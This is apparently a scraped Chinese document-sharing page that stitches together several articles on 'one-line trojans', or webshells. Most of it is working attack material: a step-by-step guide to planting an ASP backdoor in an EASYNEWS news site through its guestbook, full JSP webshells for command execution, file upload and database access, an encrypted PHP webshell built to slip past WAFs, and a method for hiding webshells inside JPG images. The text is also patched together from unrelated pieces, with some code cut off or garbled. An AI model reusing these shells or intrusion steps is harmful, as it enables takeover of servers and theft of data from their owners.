利用动态二进制加密实现新型一句话木马之Java篇
- 格式:pdf
- 大小:760.82 KB
- 文档页数:9
java的一句话木马摘要:1.Java 一句话木马的定义和背景2.Java 一句话木马的特点3.Java 一句话木马的生成和传播4.Java 一句话木马的检测和防范5.总结正文:Java 一句话木马是一种基于Java 语言编写,且长度较短的恶意代码。
它通常通过各种途径植入到受害者的计算机系统中,然后攻击者可以远程控制该计算机,窃取敏感信息或进行其他恶意行为。
由于Java 一句话木马具有高度的隐蔽性和破坏性,因此对于网络安全具有很大的威胁。
Java 一句话木马的特点如下:1.短小精悍:Java 一句话木马的长度通常在几十到几百字节之间,非常易于传播。
2.跨平台:Java 语言具有跨平台特性,因此Java 一句话木马可以在多种操作系统上运行。
3.高度隐蔽:Java 一句话木马可以利用Java 语言的特性,将恶意代码嵌入到正常的程序中,使其难以被发现。
生成和传播Java 一句话木马的方式有很多,攻击者通常会利用各种漏洞和手段,将木马植入到受害者的计算机系统中。
例如,攻击者可以通过邮件附件、恶意网站、软件下载等途径,诱导受害者下载并运行包含Java 一句话木马的程序。
为了防范Java 一句话木马的攻击,我们可以采取以下措施:1.更新Java 环境:确保使用的Java 环境是最新版本的,以便修补已知的漏洞。
2.谨慎下载和运行软件:不要轻信他人发送的邮件附件或从不可靠的网站下载软件。
在运行未知来源的Java 程序时,务必谨慎。
3.安装杀毒软件:选择一款可靠的杀毒软件,并定期更新病毒库,以便及时检测和清除恶意代码。
4.加强系统安全:对于重要的计算机系统,应采取更严格的安全措施,如设置访问权限、定期检查系统日志等。
总之,Java 一句话木马作为一种高度隐蔽和危险的恶意代码,我们需要加强网络安全意识,采取有效措施,防范此类攻击。
⼀句话⽊马使⽤演⽰(转载)实例⼀:“⼀句话⽊马”⼊侵“EASYNEWS新闻管理系统”“EASYNEWS新闻管理系统 v1.01 正式版”是在企业⽹站中⾮常常见的⼀套整站模版,在该⽹站系统的留⾔本组件中就存在着数据过滤不严漏洞,如果⽹站是默认路径和默认⽂件名安装的话,⼊侵者可以利⽤该漏洞直接上传ASP⽊马程序控制整个⽹站服务器。
Step1 搜索⼊侵⽬标使⽤了“EASYNEWS新闻管理系统 v1.01 正式版”的⽹站,在⽹站页⾯的底部版权声明处,往往会有关键字符为“ 版权所有”。
只要在GOOGLE或百度中以该字符串为关键词进⾏搜索,就可以找到⼤量的⼊侵⽬标。
Step2 检测⼊侵条件在这⾥,我们以⽹站“/news/index.htm”为例进⾏⼀次⼊侵检测。
“EASYNEWS新闻管理系统”⽹站的留⾔本数据库⽂件默认是位于“\ebook\db\ebook.asp”,⾸先在浏览器地址栏中输⼊“/news/ebook/db/ebook.asp”,回车后在浏览器页⾯中将显⽰访问留⾔本数据库⽂件的返回信息。
如果在页⾯中显⽰乱码,则说明该⽹站的留⾔本数据库⽂件没有改名,可以进⾏⼊侵。
Step3 在数据库中插⼊ASP后门前⾯提到了该新闻系统的留⾔本插件存在过滤不严,因此我们可以通过提交发⾔,在数据库中插⼊“⼀句话⽊马”服务端代码:在浏览器中访问“/news/khly.htm”,打开提交留⾔页⾯。
在提交页⾯中的“主页”栏中,直接填写“⼀句话⽊马”服务端代码,其它随便填写。
确定后点击“发表留⾔”按钮,⽂章发表成功后,即可将“⼀句话⽊马”服务端代码插⼊到留⾔本数据库中了。
Step4 连接后门上传Webshell由于留⾔本数据库⽂件“ebook.asp”是⼀个ASP⽂件,所以我们插⼊到数据库⽂件中的ASP语句将会被执⾏。
将“⼀句话⽊马”客户端中的提交地址改为留⾔本数据库⽂件地址,然后⽤浏览器打开客户端,在上⽅的输⼊框中输⼊上传ASP⽊马的保存路径,在下⾯的输⼊框中可以粘贴⼊其它的ASP⽊马代码,这⾥选择的是桂林⽼兵⽹站管理助⼿ASP代码。
⼀句话⽊马:JSP篇JSP⼀句话收集:1、带密码的回显cmd马<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami2、⼀句话<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>在浏览器地址栏输⼊http://192.168.125.138:8080/222.jsp?f=1.txt&t=hello123123然后再输⼊http://127.0.0.1:8080/test/1.txt3、jsp⼀句话,菜⼑可直连<%@page import="java.io.*,java.util.*,.*,java.sql.*,java.text.*"%><%!String Pwd = "pass";String EC(String s, String c) throws Exception {return s;}//new String(s.getBytes("ISO-8859-1"),c);}Connection GC(String s) throws Exception {String[] x = s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c = DriverManager.getConnection(x[1].trim());if (x.length > 2) {c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";int n;File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] t = { "TABLE" };ResultSet r = c.getMetaData().getTables(null, null, "%", t);while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[3]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {int i;Connection c = GC(s);Statement m = c.createStatement(1005, 1008);try {ResultSet r = m.executeQuery(q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");while (r.next()) {for (i = 1; i <= n; i++) {sb.append(EC(r.getString(i), cs) + "\t|\t");}sb.append("\r\n");}r.close();} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}%><%String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + ""; request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);String Z = EC(request.getParameter(Pwd) + "", cs);String z1 = EC(request.getParameter("z1") + "", cs);String z2 = EC(request.getParameter("z2") + "", cs);StringBuffer sb = new StringBuffer("");try {sb.append("->" + "|");if (Z.equals("A")) {String s = new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb);}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());%>View Code4、⼩马,上传?p=ruphy&f=<%@page import="java.io.*" contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" contentType="text/html; charset=UTF-8" %><%@page import="java.util.*" contentType="text/html; charset=UTF-8" %><%@page import="ng.StringBuilder" contentType="text/html; charset=UTF-8" %> <%@page import=".URLDecoder" contentType="text/html; charset=UTF-8" %> <%!void recursionZip(ZipOutputStream zipOut, File file, String baseDir) throws Exception { if (file.isDirectory()) {File[] files = file.listFiles();for (File fileSec : files) {recursionZip(zipOut, fileSec, baseDir + file.getName() + File.separator);}} else {byte[] buf = new byte[1024];InputStream input = new FileInputStream(file);zipOut.putNextEntry(new ZipEntry(baseDir + file.getName()));System.out.println(file + "压缩成功!");int len;while ((len = input.read(buf)) != -1) {zipOut.write(buf, 0, len);}input.close();}}boolean zip(String filepath, String zipPath) {try {File file = new File(filepath);// 要被压缩的⽂件夹File zipFile = new File(zipPath);ZipOutputStream zipOut = new ZipOutputStream(new FileOutputStream(zipFile));if (file.isDirectory()) {File[] files = file.listFiles();for (File fileSec : files) {if (!fileSec.getAbsolutePath().equals(zipFile.getAbsolutePath()))recursionZip(zipOut, fileSec, file.getName() + File.separator);}} else {recursionZip(zipOut, file, "");}zipOut.close();} catch (Exception e) {return false;}return true;}void copyStream(final InputStream[] ins, final JspWriter out) {for (final InputStream in : ins) {new Thread(new Runnable() {// @Override 不兼容低版本public void run() {if (in == null) return;try {int a = -1;byte[] b = new byte[2048];while ((a = in.read(b)) != -1) {out.println(new String(b));}} catch (Exception e) {} finally {try {if (in != null) in.close();} catch (Exception ec) {}}}}).start();}}String uploadFile(DataInputStream is, String path, int size, String sp) throws IOException {if (size > 20 * 1024 * 1024) {return"上传失败,⽂件太⼤!";}byte bts[] = new byte[size];int br = 0;int tbr = 0;//上传的数据保存在byte数组⾥⾯while (tbr < size) {br = is.read(bts, tbr, size);tbr += br;}String file = new String(bts, "utf-8");String sf = file.substring(file.indexOf("filename=\"") + 10);sf = sf.substring(0, sf.indexOf("\n")).replaceAll("/\\+", "/");sf = sf.substring(stIndexOf("/") + 1, sf.indexOf("\""));String fileName = path + "/" + sf;int pos;pos = file.indexOf("filename = \"");pos = file.indexOf("\n", pos) + 1;pos = file.indexOf("\n", pos) + 1;pos = file.indexOf("\n", pos) + 1;int bl = file.indexOf(sp, pos) - 4;//取得⽂件数据的开始的位置int startPos = ((file.substring(0, pos)).getBytes()).length;int endPos = ((file.substring(0, bl)).getBytes()).length;File checkFile = new File(fileName);if (checkFile.exists()) {checkFile.delete();}FileOutputStream fileOut = new FileOutputStream(fileName);fileOut.write(bts, startPos, (endPos - startPos));fileOut.close();return sf + "⽂件上传成功!";}String getCurrentPath(String file, String p, String url) throws IOException {String path = "";String tmpFile = file.replaceAll("/[^/]+/?$", "/");while (!file.equals(tmpFile)) {path = "<a href='" + url + "?p=" + p + "&f=" + file + "'>" + file.replaceAll(tmpFile, "") + "</a>" + path;file = tmpFile;tmpFile = file.replaceAll("/[^/]+/?$", "/");}path = "<a href='" + url + "?p=" + p + "&f=" + file + "'>" + file + "</a>" + path;return path;}%><%//验证⽤户名String dp = "ruphy";response.setCharacterEncoding("UTF-8");String url = request.getRequestURL().toString();String p = request.getParameter("p");if (!dp.equals(p)) {if (!"true".equals(request.getParameter("c"))) {out.println("<div style='text-align: center;'>访问失败!<span style='color: red'>密码错误!</span></div>");out.println("<div style='text-align: center;'><span>usage: <a style='color: black' href='" + url + "?p=passwd&f=path' >" + url + "?p=passwd&f=path</a></span></div>");out.println("<div style='text-align: center; color: blue'>@copyright by ruphy.</div>");}return;}String m = request.getParameter("m");if (m != null && !"".equals(m.trim())) {out.println("开始执⾏命令: " + m);out.flush();String[] cmds = new String[]{"sh", "-c", m};if (System.getProperty("").toLowerCase().contains("windows")) {cmds = new String[]{"cmd", "/k", m};}Process ps = null;out.print("<xmp>");try {ps = Runtime.getRuntime().exec(cmds);copyStream(new InputStream[]{ps.getInputStream(), ps.getErrorStream()}, out);ps.getOutputStream().close();ps.waitFor();} catch (Exception e) {out.println("<div>执⾏命令 " + m + " 发⽣错误!</div>");} finally {try {if (ps != null) ps.destroy();} catch (Exception ec) {out.println("关闭流出错!");}}out.println("</xmp>");out.println("<div>执⾏命令: " + m + " 完成!</div>");return;}String fn = request.getParameter("f");if (fn == null || "".equals(fn.trim())) {fn = application.getRealPath("/");}String f = fn.replaceAll("\\\\+", "/").replaceAll("/+", "/");String ct = request.getContentType();if (ct != null && ct.indexOf("multipart/form-data") >= 0) {DataInputStream is = new DataInputStream(request.getInputStream());String msg = uploadFile(is, f, request.getContentLength(), ct.substring(stIndexOf("=") + 1, ct.length()));out.println("<script>alert('" + msg + "');location.href='" + url + "?p=" + dp + "&f=" + f + "';</script>");return;}File file = new File(f);if (!file.exists()) {out.println("<script>alert('输⼊⽬录或者⽂件不存在!')</script>");}if ("true".equals(request.getParameter("t")) && file.exists()) {if (zip(f, new File(f).getAbsolutePath() + ".zip")) {out.println("<script>alert('压缩成功!');location.href=location.href.replace(\"&t=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");}out.println("<script>alert('压缩失败');location.href=location.href.replace(\"&t=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");return;}if (file.isDirectory() && file.canRead()) {StringBuilder sb = new StringBuilder();File[] files = File.listRoots();String roots = "";for (int i = 0; i < files.length; i++) {roots += "<a style=\"margin-left: 10px;\" href=\"" + url + "?p=" + dp + "&f=" + files[i].getPath().replaceAll("\\\\+", "/") + "/\">" + files[i].getPath() + "</a>";}sb.append("<div><div>");sb.append("<div style='margin: 10px 0 0 20px'><form action=" + url + "?p=" + dp + "&f=" + f + " method='post' enctype='multipart/form-data'>⽂件上传: <input name='fileName' type='file'><input onclick='return confirm(\"上传到当前⽬录:sb.append("</div><div style='margin: 5px 0 20px 20px'><span>根⽬录:" + roots + "</span><span style=\"margin-left: 20px;\">当前⽬录:" + getCurrentPath(f, dp, url) + "</span>"+ "<span style=\"margin-left: 20px;\" ><a href=\"" + url + "?p=" + dp + "&f=" + f.replaceAll("/[^/]+/?$", "/") + "\">返回上级⽬录</a></span>"+ "</div>");sb.append("<div style='max-height: 400px; overflow: auto; background-color: #ffe;'><table><tbody>");files = file.listFiles();for (int i = 0; i < files.length; i++) {if (files[i].canRead()) {sb.append("<tr>"+ "<td><a style=\"margin-left: 20px;\" href='" + url + "?p=" + dp + "&f=" + f + "/" + files[i].getName() + "'>" + files[i].getName() + "</a></td>"+ "<td><a style=\"margin-left: 20px;\" onclick='return confirm(\"确定删除吗?\")' href=\"" + url + "?p=" + dp + "&r=true&f=" + f + "/" + files[i].getName() + "\">删除</a></td>"+ (!files[i].isFile() ? "<td></td>" : "<td><a style=\"margin-left: 20px;\" onclick=\"top.document.getElementById('view-file').setAttribute('src', '" + url + "?p=ruphy&v=true&w=true&f=" + f + "/" + files[i].getName() + "');\" href=\"#\">查 + "<td><a style=\"margin-left: 20px;\" href=\"" + url + "?p=" + dp + "&t=true&f=" + f + "/" + files[i].getName() + "\">压缩</a>"+ "<span style=\"margin-left: 20px\">" + files[i].length() / 1024 + "KB(" + files[i].length() / 1024 / 1024 + "MB)</span></td>"+ "</tr>");}}sb.append("</tbody></table></div></div>");sb.append("<div style='background-color: #ccc;'>");sb.append("<div style='margin: 20px'>虚拟终端:<input id='command' type='text' value='netstat -an' style='width: 250px;border: none;color: red;background-color: black;'/>"+ "<a style='color: blue' onclick=\"var m= top.document.getElementById('command').value;if(!m) return false; top.document.getElementById('view-file').setAttribute('src', '" + url + "?p=ruphy&m=' + encodeURIComponent(m));\" href=\"#\ + "</div>");sb.append("<div style='margin-top: 20px; padding: 5px; height: 600px;max-height: 100%'>"+ "<iframe id='view-file' src='" + url + "?c=true' height='100%' style='width: 100%; height: 100%' frameborder='0'></iframe>"+ "</div>");sb.append("</div>");out.println(sb.toString());out.println("<div><div style='text-align: center;'><span>usage: <a style='color: black' href='" + url + "' >" + url + "?p=passwd</a></span></div>");out.println("<div style='text-align: center; color: blue'>@copyright by ruphy.</div></div>");sb.append("</div>");return;}if ("true".equals(request.getParameter("r"))) {if (file.delete()) {out.println("<script>alert('删除成功!');location.href=location.href.replace(\"&r=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");}out.println("<script>alert('删除失败!');location.href=location.href.replace(\"&r=true\", \"\").replace(/\\/[^\\/]+$/, '');</script>");return;}if (!"true".equals(request.getParameter("v"))) {response.setContentType("application/octet-stream");response.setHeader("Content-Disposition", "attachment; filename=" + f.replaceAll(".+/+", "").replace("", "_"));} else if (file.length() > 1024 * 1024 * 10) {out.println("⽂件太⼤,请下载查看!");return;}String ctt = java.nio.file.Files.probeContentType(file.toPath());ctt = ctt == null ? "others" : ctt.replaceAll("\\/+.*", "");if ("true".equals(request.getParameter("w"))) {String u = url + "?p=ruphy&v=true&l=true&f=" + f;if ("video".equals(ctt)) {out.println("<div style='width: 800px'><video style='margin-top: 5px; width: 100%' controls=\"controls\" autoplay=\"autoplay\" src='" + u + "' /></div>");return;}if ("audio".equals(ctt)) {out.println("<div style='width: 300px'><audio style='width: 100%' controls=\"controls\" autoplay=\"autoplay\" src='" + u + "' /></div>");return;}if ("image".equals(ctt)) {out.println("<div style='width: 600px'><img style='margin-top: 5px; width:100%;' alt='⾮图⽚' src='" + u + "'/></div>");return;}}if ("true".equals(request.getParameter("l"))) {OutputStream streamOut = response.getOutputStream();InputStream streamIn = new FileInputStream(file);int length = streamIn.available();int bytesRead = 0;byte[] buffer = new byte[1024];while ((bytesRead = streamIn.read(buffer, 0, 1024)) != -1) { streamOut.write(buffer, 0, bytesRead);}response.flushBuffer();streamIn.close();streamOut.close();return;}FileInputStream fis = new FileInputStream(file);InputStreamReader isr = new InputStreamReader(fis, "UTF-8"); BufferedReader br = new BufferedReader(isr);StringBuilder sb = new StringBuilder();sb.append("<xmp>\n");String line = null;while ((line = br.readLine()) != null) {sb.append(line);sb.append("\n");}sb.append("</xmp>");out.println(sb.toString());fis.close();isr.close();br.close();%>View Code。
javaAES实现字符串的加密、解密(配合⼆进制、⼗六进制转换的⼯具使⽤)//BinHexSwitchUtil 参考这个链接https:///xiaoxiao075/p/13230454.htmlimport javax.crypto.*;import javax.crypto.spec.SecretKeySpec;import java.security.InvalidKeyException;import java.security.Key;import java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import java.util.Arrays;import java.util.Base64;//import mons.codec.binary.Base64;public class EncryptStrUtil {/*** KeyGenerator的⽅式,通过传⼊种⼦串⽣成key,进⾏加密* @param seed ⽣成key传⼊的种⼦串* @param toEncryptStr 要加密的字节数组* @return返回 Base64 的加密字符串*/public static String encrypt(String seed, byte[] toEncryptStr) {try {return Base64.getEncoder().encodeToString(getCipher(seed, Cipher.ENCRYPT_MODE).doFinal(toEncryptStr)); //此时使⽤的 Base64 编码} catch (Exception e) {e.printStackTrace();}return null;}/*** 根据传⼊的⼆进制 key数组,返回AES的⼗六进制加密串* @param keyBytes* @param toEncryptStr* @return*/public static String encrypt(byte[] keyBytes, byte[] toEncryptStr) {try {return BinHexSwitchUtil.bytesToHexString(getCipher(keyBytes, Cipher.ENCRYPT_MODE).doFinal(toEncryptStr));} catch (Exception e) {e.printStackTrace();}return null;}/*** KeyGenerator的⽅式,通过传⼊种⼦串⽣成key,进⾏解密* @param seed ⽣成key传⼊的种⼦串* @param encryptedStr 要解密的字节数组,Base64加密的* @return返回解密的字节数组*/public static byte[] decrypt(String seed, byte[] encryptedStr) {try {return getCipher(seed, Cipher.DECRYPT_MODE).doFinal(Base64.getDecoder().decode(encryptedStr));} catch (Exception e) {e.printStackTrace();}return null;}/*** 根据传⼊的⼆进制 key数组,将16进制加密串解密* @param keyBytes* @param encryptedStr 要解密的字符串* @return已解密的⼆进制数组*/public static byte[] decrypt(byte[] keyBytes, String encryptedStr) {try {return getCipher(keyBytes, Cipher.DECRYPT_MODE).doFinal(BinHexSwitchUtil.hexStringTobytes(encryptedStr));} catch (Exception e) {e.printStackTrace();}return null;}/*** KeyGenerator 的⽅式⽣成key,获取密码⽣成器* @param seed 传⼊的种⼦字符串* @param encryptMode 传⼊加密模式、解密模式* @return返回密码⽣成器* @throws Exception*/private static Cipher getCipher(String seed, int encryptMode) throws Exception {//⽣成加密随机数SecureRandom random = SecureRandom.getInstance("SHA1PRNG");//并设置seedrandom.setSeed(seed.getBytes());//创建AES⽣产者KeyGenerator generator = KeyGenerator.getInstance("AES");//初始化⽣产者,128位generator.init(128, random);Key key=generator.generateKey();// 返回基本编码格式的密钥(初始key),如果此密钥不⽀持编码,则返回null。
【原创】利⽤动态⼆进制加密实现新型⼀句话⽊马之PHP篇概述本系列⽂章重写了java、.net、php三个版本的⼀句话⽊马,可以解析并执⾏客户端传递过来的加密⼆进制流,并实现了相应的客户端⼯具。
从⽽⼀劳永逸的绕过WAF或者其他⽹络防⽕墙的检测。
本来是想把这三个版本写在⼀篇⽂章⾥,过程中发现篇幅太⼤,所以分成了四篇,分别是:利⽤动态⼆进制加密实现新型⼀句话⽊马之Java篇利⽤动态⼆进制加密实现新型⼀句话⽊马之.net篇利⽤动态⼆进制加密实现新型⼀句话⽊马之php篇利⽤动态⼆进制加密实现新型⼀句话⽊马之客户端篇前⾔在第⼀篇⽂章《利⽤动态⼆进制加密技术实现新型⼀句话⽊马之Java篇》中我们介绍了⼀种可以长期绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程⼤体如下图,详细内容请参考第⼀篇⽂章。
现在我们继续实现该思路的PHP版本。
实现篇服务端实现得益于PHP语⾔的灵活性、松散性,现有的PHP⼀句话⽊马存在很多个版本,为了躲避杀毒软件和waf,php的⼀句话⽊马变形起来可以说是脑洞⼤开,精妙绝伦。
下⾯我们来打造⼀个基于纯⼆进制流量的PHP⼀句话⽊马。
当然,我们可以采⽤的⽅法远不⽌这⼀种,可以在此基础上衍⽣出各种变形。
和Java和.NET不同,PHP并不存在⼿动编译的过程,开发⼈员只要提供PHP源代码,然后PHP会⾃⼰把源代码编译为opcode,由Zend引擎来解析opcode。
因为不存在编译的中间环节,当然也就不存在已编译的⼆进制类⽂件。
所以这⾥我们要转变⼀下思路,在具体实现之前我们先看⼀个PHP的特性“可变函数”,官⽅描述为:PHP ⽀持可变函数的概念。
这意味着如果⼀个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执⾏它。
可变函数可以⽤来实现包括回调函数,函数表在内的⼀些⽤途。
下⾯看具体实现,直接上代码吧(为了增加可读性,我对代码进⾏了⼀些扩充):<?phpsession_start();if (isset($_GET['pass'])){$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print $key;}else{$key=$_SESSION['k'];$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);$arr=explode('|',$decrptContent);$func=$arr[0];$params=$arr[1];$func($params);}>简单解释⼀下流程:⾸先客户端以Get形式发起带密码的握⼿请求,服务端产⽣随机密钥并写⼊Session。
java的一句话木马作为一种计算机恶意软件,Java木马是利用Java编程语言编写的程序,它具有隐藏性和潜伏性,可以在未经用户许可的情况下,远程控制或操纵被感染的计算机系统。
Java木马可以对计算机系统进行非法操作、窃取用户隐私信息、传播病毒等,给用户和系统带来严重的安全风险。
一个简单的Java木马可以通过网络传播并执行其恶意代码。
在第一次运行时,木马程序会嵌入到目标系统的内存中,并将自己添加到系统启动项或进程列表中,以确保在每次系统启动时自动运行。
此后,木马程序会定期与控制服务器建立连接,接收远程指令,并执行相应的操作。
Java木马的主要特点之一是其隐藏性。
为了避免被发现,它通常会使用伪装技术,将自己伪装成合法的Java应用程序或系统进程。
这使得Java木马非常难以被普通用户或安全软件察觉。
另一个特点是Java木马的潜伏性。
一旦感染了目标系统,它会尽可能地隐藏自己,避免被用户察觉。
它可以通过修改系统文件、禁用安全软件、隐藏进程等手段,使自己更难以被发现和删除。
Java木马还具有远程控制和操纵被感染系统的能力。
攻击者可以通过控制服务器发送指令给木马,实现远程控制目标系统的功能。
这包括获取系统信息、窃取用户登录凭证、执行恶意操作、传播病毒等。
除了上述功能,Java木马还可以具备其他恶意行为。
例如,它可以利用系统漏洞,传播自身或其他病毒。
它也可以修改系统配置,损害系统的稳定性和安全性。
此外,Java木马还可能窃取用户的个人隐私信息,如银行账号、密码、身份证号码等,用于非法活动或牟取利益。
为了保护计算机系统免受Java木马的侵害,用户应该采取以下预防措施:1.定期更新操作系统和软件补丁,以修复已知漏洞。
2.下载软件和文件时,应仔细检查其来源和完整性,避免下载和运行不明来源的文件。
3.安装可信的安全软件,并进行定期更新和全面扫描,以检测和清除潜在的木马程序。
4.不随意点击可疑链接或打开垃圾邮件附件,以避免误下载木马程序。
图片木马制作的三种方法Copy命令制作1.asp内容:打开cmd,数据一下命令:此时打开两个jpg文件,相比:且打开2.jpg可以像1.jpg一样显示图像。
把以下代码放入目标网站,即可按asp执行。
<% #include files=”2.jpg”%>Uedit32(转载):本制作来自于:雪糕。
我们通常在得到webshell之后都想给自己留个后门,等下次或以后有用得到的时候再进来看看。
但如果直接加入一句话木马<%execute request("value")%>到asp文件中时,在该页面上就会有类似如下的错误:Microsoft VBScript 运行时错误错误'800a000d'类型不匹配: 'execute'/news1/show.asp,行 3所以我们就可以开动脑筋了,使用插入一句话木马的图片做我们的后门。
而且我们如果有足够的权限的话(希望网站中的文件可写),就直接把网站原有的图片变成后门,然后在那个asp文件中加入调用图片后门的代码:<!--#include file="图片后门地址"-->这样就没有上面的“类型不匹配: 'execute'”错误了,而且也更好的隐藏了我们的后门。
新挑战始终会伴着新事物的出现而出现,当我们直接将我们的一句话木马的asp文件改成jpg 或gif文件的时候,这个图片文件是打不开的,这又容易被管理员发现。
然后我们就又开始思考并寻找新的方法:制作可以显示图片内容的图片格式后门。
制作步骤:一、前期准备材料:1.一张图片:1.jpg2.一句话木马服务器端代码:<%execute request("value")%>(其他的一句话也行)3.一句Script标签:<SCRIPT RUNAT=SERVER LANGUAGE=JA V ASCRIPT>一句话木马服务器端代码</SCRIPT>4. 调用图片后门代码:<!--#include file="图片地址"-->工具:UltraEdit二、开始制作:1.使用UltraEdit打开1.jpg文件,然后按CTRL +F 进行查找图片中的“<%”和“%>”其中<%的十六进制代码是3E 25,那么%>就应该是25 3E,但是我们只把25改成00;之后我们在新建一个文本编辑窗口,将我们的script标签代码<SCRIPT RUNAT=SERVER LANGUAGE=JA V ASCRIPT><%execute request("value")%></SCRIPT>复制进去,然后点击右键选择十六进制编辑命令,这样会跳转到十六进制数据窗口,复制所有的十六进制的数据,粘贴到1.jpg的十六进制编辑窗口的最下面,说明:为什么要粘贴到最下面?假设你把srcipt标签的十六进制代码粘贴到中间的话,就会破坏图片的完整性,那样下面的图片就看不到了,但是插入的一句话代码还是起作用的。
